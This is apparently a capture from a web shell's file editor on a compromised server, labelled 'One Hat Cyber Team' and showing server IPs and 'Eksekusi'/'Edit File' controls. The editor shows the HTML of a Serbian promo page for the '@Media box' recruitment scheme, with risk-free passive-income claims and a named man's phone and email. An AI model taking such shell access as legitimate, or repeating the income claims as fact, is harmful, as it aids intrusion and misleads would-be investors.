⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.70
Server IP:
209.74.65.82
Server:
Linux 209-74-65-82.cprapid.com 5.14.0-427.42.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Nov 1 14:58:02 EDT 2024 x86_64
PHP Version:
8.1.34
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
ivsoxidh
/
milos.atmedia.live
/
Edit File: index.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Miloš Rakić | @Media</title> <meta property="og:title" content="Miloš Rakić - @Media box" /> <meta property="og:description" content="Dobrodošli u @Media, prvi multimedijalni TV boks gde možete zaraditi za svaku reklamu koju vidite dok gledate TV. #TVRevolution." /> <meta property="og:image" content="https://atmediaworld.com/wp-content/uploads/2021/11/atmedia_og.jpg" /> <meta property="og:url" content="https://milos.atmedia.live" /> <meta property="og:type" content="website" /> <meta property="og:site_name" content="@mediaworld" /> <!-- Optional for Twitter --> <meta name="twitter:card" content="Miloš Rakić"> <meta name="twitter:title" content="@Media box – TV zabava i oglašavanje u jednoj kutiji."> <meta name="twitter:description" content="Dobrodošli u @Media, prvi multimedijalni TV boks gde možete zaraditi za svaku reklamu koju vidite dok gledate TV. #TVRevolution."> <meta name="twitter:image" content="https://atmediaworld.com/wp-content/uploads/2021/11/atmedia_og.jpg"> <link href="https://fonts.googleapis.com/css2?family=Bebas+Neue&display=swap" rel="stylesheet"> <link href="https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap" rel="stylesheet"> <link href="https://fonts.googleapis.com/css2?family=Cabin:ital,wght@0,400;0,500;0,600;0,700;1,400;1,500;1,600;1,700&display=swap" rel="stylesheet"> <link href="https://fonts.googleapis.com/css2?family=Urbanist:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap" rel="stylesheet"> <link rel="stylesheet" href="css/plugins.css"> <link rel="stylesheet" href="css/style.css"> <link rel="icon" href="https://atmediaworld.com/wp-content/uploads/2021/11/cropped-favicon-32x32.png" sizes="32x32"> <!-- Google tag (gtag.js) --> <script async src="https://www.googletagmanager.com/gtag/js?id=G-3PNQB1NFDP"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-3PNQB1NFDP', { 'linker': { 'domains': [ 'atmedia.live', 'app.atmedia.live', 'stefan.atmedia.live', 'igor.atmedia.live', 'martin.atmedia.live', 'ema.atmedia.live', 'nenad.atmedia.live', 'sava.atmedia.live', 'kiril.atmedia.live', 'marko.atmedia.live', 'erol.atmedia.live', 'alek.atmedia.live', 'milos.atmedia.live', 'eleonora.atmedia.live', 'veljko.atmedia.live' ] } }); </script> </head> <body> <!-- Preloader --> <div id="preloader"> <div class="loader_line"></div> </div> <!-- /Preloader --> <!-- Wrapper --> <div class="nicolas_sm_wrapper_all" data-magic-cursor="show"> <!-- Magic Cursor Values Are: "show" and "hide" --> <!-- Mobile Menu --> <div class="nicolas_sa_mobile_menu"> <div class="mobile_menu_inner"> <div class="mobile_in"> <div class="logo anchor"> <a href="#home"><img src="img/logo/logo.png" alt="" /></a> </div> <div class="trigger"> <div class="hamburger hamburger--slider"> <div class="hamburger-box"> <div class="hamburger-inner"></div> </div> </div> </div> </div> </div> <div class="dropdown"> <div class="dropdown_inner"> <ul class="anchor_nav"> <li class="current"> <a href="#home">Početna</a> </li> <li> <a href="#heroto">O meni</a> </li> <li> <a href="#service">@Media</a> </li> <li> <a href="#footer">Kontakt</a> </li> </ul> </div> </div> </div> <!-- /Mobile Menu --> <!-- Header --> <div class="nicolas_sm_header"> <div class="overlay_el"> <div class="overlay_bg"> <div class="overlay_img"></div> <div class="overlay_color"></div> </div> <div class="overlay_content"> <div class="logo anchor"> <a href="#home"><img src="img/logo/logo.png" alt="2"></a> </div> <div class="menu"> <ul class="anchor_nav"> <li class="current"> <a href="#home">Početna</a> </li> <li> <a href="#heroto">O meni</a> </li> <li> <a href="#service">@Media</a> </li> <li> <a href="#footer">Kontakt</a> </li> </ul> </div> <div class="button anchor"> <a href="#footer">Pošalji mi poruku <img src="img/header/arrow.png" alt="arrow"></a> </div> </div> </div> </div> <!-- /Header --> <!-- Hero --> <div class="nicolas_sm_section" id="home"> <div class="nicolas_sm_hero"> <div class="container"> <div class="hero_text"> <div class="left"> <h3 class="stroke_text">Hello world! I'm</h3> <h3> <span class="inline_text">Miloš Rakić <span class="arrow"> <div class="wings"> <div class="wing"> <span class="up"></span> </div> <div class="wing"> <span class="down"></span> </div> </div> </span> </span> </h3> </div> <div class="right"> <h3><span class="inline_text">Web marketer</span></h3> <h3 class="stroke_text">Based in Serbia</h3> </div> </div> <div class="hero_scroll_title"> <span> <img class="sm_svg bounce" src="img/svg/down_arrow.svg" alt="1"></span> </div> <div class="overlay_el"> <div class="overlay_bg"> <div class="overlay_img"></div> <div class="overlay_color"></div> </div> <div class="overlay_content"> <div class="hero_info_area" id="heroto"> <div class="left"> <div class="info_list"> <img src="img/hero/shape.png" alt="shape"> <p>Zovem se Miloš Rakić, imam 38 godina i ponosan sam otac dve devojčice. Odrastao sam i veći deo svog života proveo u Kragujevcu, a trenutno živim i radim u Somboru. Završio sam Ekonomski fakultet, a potom i master studije na Mašinskom fakultetu.</p> </div> <div class="info_list"> <img src="img/hero/shape.png" alt="shape"> <p>Već deset godina radim u auto i modnoj industriji, fokusiran na unapređenje procesa proizvodnje. Međutim, želja za napredovanjem i boljim primanjima često me je terala da menjam kompanije, pa čak i gradove — postao sam pravi nomad u potrazi za boljim prilikama. Ipak, ubrzo bi se isti problem ponovio: radno okruženje bi postalo nepodržavajuće, primanja nedovoljna, a inflacija je neprestano rasla.</p> </div> </div> <div class="center"> <span> <img src="img/hero/milos.png" alt="1"> </span> </div> <div class="right"> <div class="info_list"> <img src="img/hero/shape.png" alt="shape"> <h3>Kontaktiraj me</h3> <p>Email: <strong style="color: white;">tatarakić@gmail.com</strong> <br>Telefon: <strong style="color: white;">+381 64 573 7694</strong></p> <ul class="social" style="float: right;"> <li> <a href="https://wa.me/381645737694"><img class="sm_svg" src="img/svg/whatsapp.svg" alt="1"></a> </li> <li> <a href="https://www.instagram.com/doktorale/"><img class="sm_svg" src="img/svg/instagram.svg" alt="3"></a> </li> </ul> </div> <div class="info_list"> <img src="img/hero/shape.png" alt="shape"> <p>Da bih prekinuo ovaj začarani krug selidbi i nesigurnosti, odlučio sam da potražim dodatni izvor prihoda. Tako sam otkrio <strong>@mediaBox </strong>– inovativni projekat koji mi je omogućio da dodatni prihod pretvorim u stabilan i pasivan izvor zarade.</p> </div> </div> </div> </div> </div> </div> </div> </div> <!-- /Hero --> <!-- About --> <div class="nicolas_sm_section" id="about"> <div class="nicolas_sm_about"> <div class="container"> <div class="nicolas_sm_main_title"> <div class="left"> <span</span> </div> <div class="centered-sentence"> <p> Ono što me je posebno privuklo kod @mediaBox-a je činjenica da je to nešto potpuno novo i drugačije na tržištu. U vreme kada se svet brzo menja, a inovacije diktiraju ko će uspeti, @mediaBox je platforma koja kombinuje zabavu i zaradu na jedinstven način. Umesto da samo pasivno gledam televiziju, sada mogu da zarađujem dok uživam u omiljenim sadržajima. <br><br> Pridruživši se ovom projektu, ne samo da sam sebi otvorio vrata ka finansijskoj stabilnosti, već i mogućnost da pomognem drugima da isto učine. Verujem da je ulaganje u inovacije i nove tehnologije ključ za bolju budućnost, i zato želim da te pozovem da kreneš sa mnom na ovom putu ka prosperitetu i slobodi. </p> </div> <div class="right"> <div class="scroll anchor"> <a href="#service"></a> <img class="sm_svg" src="img/svg/down_arrow.svg" alt="2"> </div> </div> </div> <div class="extra_container"> <div class="biography"> <ul> <li> <div class="list_inner"> <h3> U svetu inovacija uspevaju oni koji prvi krenu.</h3> </div> </li> <!-- <li> <div class="list_inner"> <h3>Danas je moja misija da pomažem drugima da ostvare isto – da postanu slobodni, uspešni i sigurni u svoje veštine.</h3> </div> </li> --> <li> <div class="list_inner"> <h3>Svet se menja, a sa @media ti možeš biti korak ispred! </h3> </div> </li> <li class="logo-box"> <div class="list_inner"> <div class="logo-wrapper"> <img class="media-logo" src="img/svg/mediaLogo.svg" alt="@media logo"> </div> </div> </li> </ul> <div class="button-wrapper"> <a href="#footer" class="custom-button"> Pošalji mi poruku <span class="arrow">›</span> </a> </div> </div> </div> </div> <div class="nicolas_sm_round"> <div class="marquee"> <div class="wrap"> <img src="img/about/star.png" alt="1"> <h3>115k+ klijenata</h3> <img src="img/about/star.png" alt="1"> <h3>10+ zemalja</h3> <img src="img/about/star.png" alt="1"> <h3>1000+ prodajnih saradnika</h3> </div> </div> </div> </div> </div> <!-- /About --> <!-- Service --> <div class="nicolas_sm_section" id="service"> <div class="nicolas_sm_service"> <div class="container"> <div class="service_in"> <div class="nicolas_sm_main_title"> <div class="left"> <span><img src="img/svg/mediaLogo.svg" width="100px"; height="100px"></span> </div> <div class="tekst-media"> <p> Započni svoj biznis sa SMART Kutijom</p> <p>Instaliraj jednom – zarađuj stalno.</p> <p>Bez iskustva, bez dodatnih troškova. Jedna instalacija je dovoljna za stabilan pasivan prihod.</p> <p><video src="https://atmedia.live/wp-content/uploads/2025/07/Media1.mp4" autoplay muted loop playsinline class="kutija-video-section"></video></p> <p>💡 Zašto da počneš?</p> <ul> <li><p> Pasivan prihod svakog meseca</p> <p>Svaki korisnik koji gleda TV preko tvoje Kutije – ti zarađuješ, a oni uživaju u sadržaju i zarađuju.</p></li> <li><p> 40% provizije od pregleda</p> <p>Kad god neko gleda sadržaj preko tvoje Kutije, ti dobijaš 40% provizije – bez dodatnog angažovanja.</p></li> <li><p> 10% od prodaje novih Kutija</p> <p>Širi svoju mrežu tako što ćeš dovoditi nove poslovne partnere i ostvarivati dodatnu zaradu od svake prodate Kutije.</p></li> <li><p> 20% od prodaje reklama</p> <p>Za svaku reklamnu kampanju koja ide kroz tvoju mrežu – dobijaš 20% provizije.</p></li></ul> </div> <div class="right"> </div> </div> <div class="extra_container"> <div class="nicolas_sm_interactive_list"> <div class="interactive_list_inner"> <ul> <li> <div class="list_inner"> <span class="number"></span> <h3 class="title"> Što više korisnika koristi tvoje Kutije – to veći prihod svaki mesec.</h3> <a class="nicolas_sm_full_link" href="#"></a> <img class="interactive_image" src="img/about/neu.png" alt="1"> </div> </li> <li> <div class="list_inner"> <span class="number"></span> <h3 class="title"> Što više Kutija podeliš – to brže raste tvoja mreža.</h3> <a class="nicolas_sm_full_link" href="#"></a> <img class="interactive_image" src="img/about/neu.png" alt="1"> </div> </li> <li> <div class="list_inner"> <span class="number"></span> <h3 class="title"> Tvoja uloga? Samo jednom instaliraš Kutiju – sve ostalo funkcioniše automatski.</h3> <a class="nicolas_sm_full_link" href="#"></a> <img class="interactive_image" src="img/about/neu.png" alt="1"> </div> </li> <li> <div class="list_inner"> <span class="number"></span> <h3 class="title"> Bez rizika. Bez pretplate. Samo pametna investicija i pametna zarada.</h3> <a class="nicolas_sm_full_link" href="#"></a> <img class="interactive_image" src="img/about/neu.png" alt="1"> </div> </li> <li> <br> <p><video src="https://atmediaworld.com/wp-content/uploads/2021/11/newMASTER_media_Box.mp4" autoplay muted loop playsinline class="kutija-video-section"></video></p> <br> <div class="list_inner"> <span class="number"></span> <h3 class="title"> Spreman si da kreneš? Kontaktiraj nas i dobićeš sve što ti je potrebno za start.</h3> <a class="nicolas_sm_full_link" href="#"></a> <img class="interactive_image" src="img/svg/mediaLogo.svg" alt="1"> </div> </li> </ul> <div class="movingbox"> <div class="space"></div> </div> </div> </div> </div> </div> </div> </div> </div> <!-- kako zaraditi sekcija --> <div class="container"> <section class="media-earn-section"> <h2 class="media-earn-title">Kako funkcioniše zarada sa <span style="color: #CD1719">@</span>media?</h2> <div class="media-earn-boxes"> <div class="media-box"> <div class="icon">✅</div> <h3>Pasivan prihod</h3> <p>Instalirao si 10 @media boxova ljudima koji kod kuće gledaju TV.<br> Svako od njih zaradio je po 25€ tog meseca.<br> <strong>Tvoja provizija?</strong> 250€ mesečno.<br> I svaki naredni mesec – dok god gledaju TV – ti zarađuješ pasivno.</p> </div> <div class="media-box"> <div class="icon">💼</div> <h3>Gradnja tima</h3> <p>Prodao si 20 boxova ljudima koji žele da grade biznis zajedno s tobom.<br><br> <strong>Tvoja direktna provizija?</strong> 600€ odmah.<br> Širiš mrežu, vodiš tim – i tvoj prihod raste.</p> </div> <div class="media-box"> <div class="icon">📈</div> <h3>Saradnja sa firmama</h3> <p>Doveo si 10 firmi koje žele da se reklamiraju preko naših kutija.<br> Svaka plaća 200€ mesečno uz godišnji ugovor.<br> <strong>Tvoja provizija:</strong> 400€ mesečno, što znači 4.800€ godišnje – samo zato što si ih ti povezao.</p> </div> </div> <div class="media-earn-footer"> <p>⸻</p> <h3>Ovo nije “možda”, ovo je sistem koji radi.</h3> <p><strong>Da li si spreman da iskoristiš priliku?</strong></p> </div> <div class="button-wrapper"> <a href="#footer" class="custom-button"> Pošalji mi poruku <span class="arrow">›</span> </a> </div> </section> </div> <!-- kako zaraditi sekcija --> <!-- Partners --> <section class="nicolas_sm_section" id="how-it-works"> <div class="container"> <div class="section-title"> <span>KAKO FUNKCIONIŠE</span> <h2>Poveži se, gledaj i zarađuj</h2> </div> <ul class="tab-menu"> <li class="active" data-tab="tab1">Poveži i koristi</li> <li data-tab="tab2">Prijavi se</li> <li data-tab="tab3">Zaradi kroz gledanje</li> </ul> <div class="tab-content"> <div id="tab1" class="tab-pane active"> <div class="step"> <div class="step-text"> <h3>Jednostavna instalacija</h3> <p>Poveži svoj TV i uređaj kao što je konzola ili streaming box na <strong>@media</strong> kutiju.</p> </div> <div class="step-image"> <video src="https://atmediaworld.com/wp-content/uploads/2021/11/02_a_WEBSITE_LOOP_CONNECT.mp4" autoplay muted loop playsinline></video> </div> </div> </div> <div id="tab2" class="tab-pane"> <div class="step"> <div class="step-text"> <h3>Prijavi se i koristi</h3> <p>Pristupi sadržaju prijavom na svoj nalog direktno sa kutije. Brzo i sigurno.</p> </div> <div class="step-image"> <video src="https://atmediaworld.com/wp-content/uploads/2021/11/02_b_WEBSITE_LOOP_PROVIDER.mp4" autoplay muted loop playsinline></video> </div> </div> </div> <div id="tab3" class="tab-pane"> <div class="step"> <div class="step-text"> <h3>Zarada dok gledaš</h3> <p>Dobijaš proviziju i šoping poene za svakog korisnika koji koristi tvoju kutiju. Više pregleda = veći pasivni prihod.</p> </div> <div class="step-image"> <video src="https://atmediaworld.com/wp-content/uploads/2021/11/02_c_WEBSITE_LOOP_EARN.mp4" autoplay muted loop playsinline></video> </div> </div> </div> </div> </div> </section> <!-- /Partners --> <section class="kontakt-proces"> <div class="container"> <h2>Kako izgleda proces kad me kontaktiraš?</h2> <p class="intro"> Kada klikneš na moj link ili mi se javiš, ceo proces je brz, jednostavan i bez rizika. Evo kako to izgleda, korak po korak: </p> <div class="steps"> <div class="step"> <h3>📩 Prvi kontakt</h3> <p>Javljaš mi se direktno putem poruke, forme na sajtu ili klikom na link. Dobijaš osnovne informacije i odgovor na sva pitanja – bez pritiska i bez obaveza.</p> </div> <div class="step"> <h3>💡 Kratko upoznavanje sa projektom</h3> <p>Objašnjavam ti kako funkcioniše @mediaBox, kako započinješ poslovanje, kako se zarađuje i na koji način možeš da uključiš i druge.</p> </div> <div class="step"> <h3>📝 Registracija i pristup platformi</h3> <p>Dobijaš svoj nalog i pristup sistemu, a po želji i uputstvo korak po korak. Registracija je potpuno besplatna i traje samo nekoliko minuta.</p> </div> <div class="step"> <h3>🎯 Odabir opcije</h3> <p>Odlučuješ da li želiš da koristiš uređaj za ličnu upotrebu i zaradu gledanjem reklama, ili želiš i dodatnu zaradu kroz preporuke i promociju.</p> </div> <div class="step"> <h3>🤝 Podrška i mentorstvo</h3> <p>Od starta imaš moju podršku – pomažem ti oko svega: pitanja, tehničkih stvari, strategije za širenje mreže, prodaju reklama i kutija. Nisi sam/a u ovom procesu.</p> </div> </div> <div class="benefits"> <h3>Šta dobijaš?</h3> <ul> <li>✅ Pasivan prihod gledanjem reklama</li> <li>✅ Mogućnost zarade od preporuka (10% od prodaje kutije, 20% od reklama)</li> <li>✅ Inovativan projekat koji tek ulazi na tržište</li> <li>✅ Pristup rastućem timu i znanju</li> <li>✅ Slobodu da radiš tempom koji ti odgovara</li> </ul> </div> </div> </section> <!-- Footer --> <div class="nicolas_sm_section" id="footer"> <div class="nicolas_sm_footer"> <div class="container"> <div class="extra_container"> <div class="footer_in"> <div class="left"> <div class="title"> <h3>Slobodno me kontaktiraj <br>za bilo koje pitanje</h3> </div> <div class="contact"> <ul> <li> <a href="#">(+381) 64 573 7694</a> <a href="#">tatarakić@gmail.com</a> </li> </ul> </div> <div class="social_button"> <ul> <li> <a href="https://www.instagram.com/doktorale/"> <span>Instagram</span> <img class="sm_svg" src="img/svg/down_arrow.svg" alt="1"> </a> </li> <li> <a href="https://wa.me/381645737694"> <span>WhatsApp</span> <img class="sm_svg" src="img/svg/down_arrow.svg" alt="1"> </a> </li> </ul> </div> </div> <div class="right"> <div class="title"> <h3>Popuni kratku formu i očekuj moj lični poziv u najbržem mogućem roku.</h3> <br> <p>Objasnim ti kako funkcioniše Mediabox i kako možeš da pokreneš svoju zaradu. Tu sam da ti pomognem da kreneš pametno i bez gubljenja vremena.</p> </div> <form id="contactForm"> <div class="error_box" id="empty-form"> <p>Molimo popunite sva polja</p> </div> <div class="error_box" id="subject-alert"> <p>Molimo izaberite predmet</p> </div> <div class="error_box" id="security-alert"> <p>Bezbednosni kod se ne podudara !</p> </div> <div class="error_box" id="email-invalid"> <p>Molimo vas da unesete vazecu imejl adresu. Primer. example@gmail.com</p> </div> <div class="error_box" id="phone-invalid"> <p>Molimo vas unesite vazeci broj telefona .Primer. +389 70 000 000</p> </div> <div class="error_box" id="error_mail"> <p></p> </div> <div class="success_box" id="success_mail"> <p>Vasa poruka je uspesno poslana, kontaktiracemo vas sto je pre moguce!</p> </div> <ul> <li> <input type="text" placeholder="Ime" name="contact_name" class="cf-form-control"/> <span></span> </li> <li> <input type="text" placeholder="Email" name="contact_email" class="cf-form-control" /> <span></span> </li> <li> <input type="text" placeholder="Telefon" name="contact_phone" class="cf-form-control"/> <span></span> </li> <li> <select name="contact_subject" class="cf-form-control my_select_two"> <option value="Choose Services">Odaberi uslugu</option> <option value="@Media">@Media</option> </select> </li> <li id="text-area-w"> <textarea placeholder="Tvoja poruka" name="contact_message" class="cf-form-control"></textarea> </li> <li id="enter_code"> <span id="txtCaptchaSpan"></span> <input type="text" class="cf-form-control" name="contact_question" style="width:50%" id="txtInput" autocomplete="off" placeholder="Unesite kod sa leve strane *"> <input type="hidden" id="txtCaptcha"> </li> </ul> <div class="nicolas_sm_button"> <a id="send_message" href="#">Pošalji <img src="img/header/arrow.png" alt="arrow"></a> </div> </form> </div> </div> </div> </div> </div> </div> <!-- /Footer --> <!-- Copyright --> <div class="nicolas_sm_section"> <div class="nicolas_sm_copyright"> <div class="container"> <div class="extra_container"> <div class="copyright_in"> <div class="left"> <p><img class="sm_svg" src="img/svg/copyright.svg" alt="1"> 2025 - Sva prava zadrzana Digital Ivsoft</p> </div> <!-- <div class="right"> <a href="#">Terms & Condition </a><span>/ </span><a href="#">Privacy Policy</a> </div> --> </div> <div class="nicolas_sm_totop"> <a href="#home"> <img class="sm_svg" src="img/svg/down_arrow.svg" alt="1"> </a> </div> </div> </div> </div> </div> <!-- /Copyright --> <!-- CURSOR --> <div class="mouse-cursor cursor-outer"></div> <div class="mouse-cursor cursor-inner"></div> <!-- /CURSOR --> </div> <!-- /Wrapper --> <script src="js/jquery.js"></script> <script src="js/contact.form.js"></script> <script src="js/plugins.js"></script> <script src="js/init.js"></script> <script> document.querySelectorAll('.tab-menu li').forEach(tab => { tab.addEventListener('click', function () { // Remove active class from all tabs document.querySelectorAll('.tab-menu li').forEach(t => t.classList.remove('active')); // Hide all tab panes document.querySelectorAll('.tab-pane').forEach(p => p.classList.remove('active')); // Activate clicked tab this.classList.add('active'); const target = this.getAttribute('data-tab'); document.getElementById(target).classList.add('active'); }); }); </script> <style> .button-wrapper { display: flex; justify-content: center; align-items: center; margin: 40px 0; } .custom-button { display: inline-block; background-color: #CD1719; color: #fff; font-weight: 700; font-size: 20px; font-family: 'Segoe UI', sans-serif; padding: 16px 32px; border-radius: 12px; text-decoration: none; transition: background-color 0.3s ease, transform 0.2s ease; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.2); } .custom-button .arrow { margin-left: 10px; font-size: 24px; transition: margin-left 0.3s ease; } .custom-button:hover { background-color: #b31415; transform: translateY(-2px); } .custom-button:hover .arrow { margin-left: 14px; } </style> </body> </html>
Simpan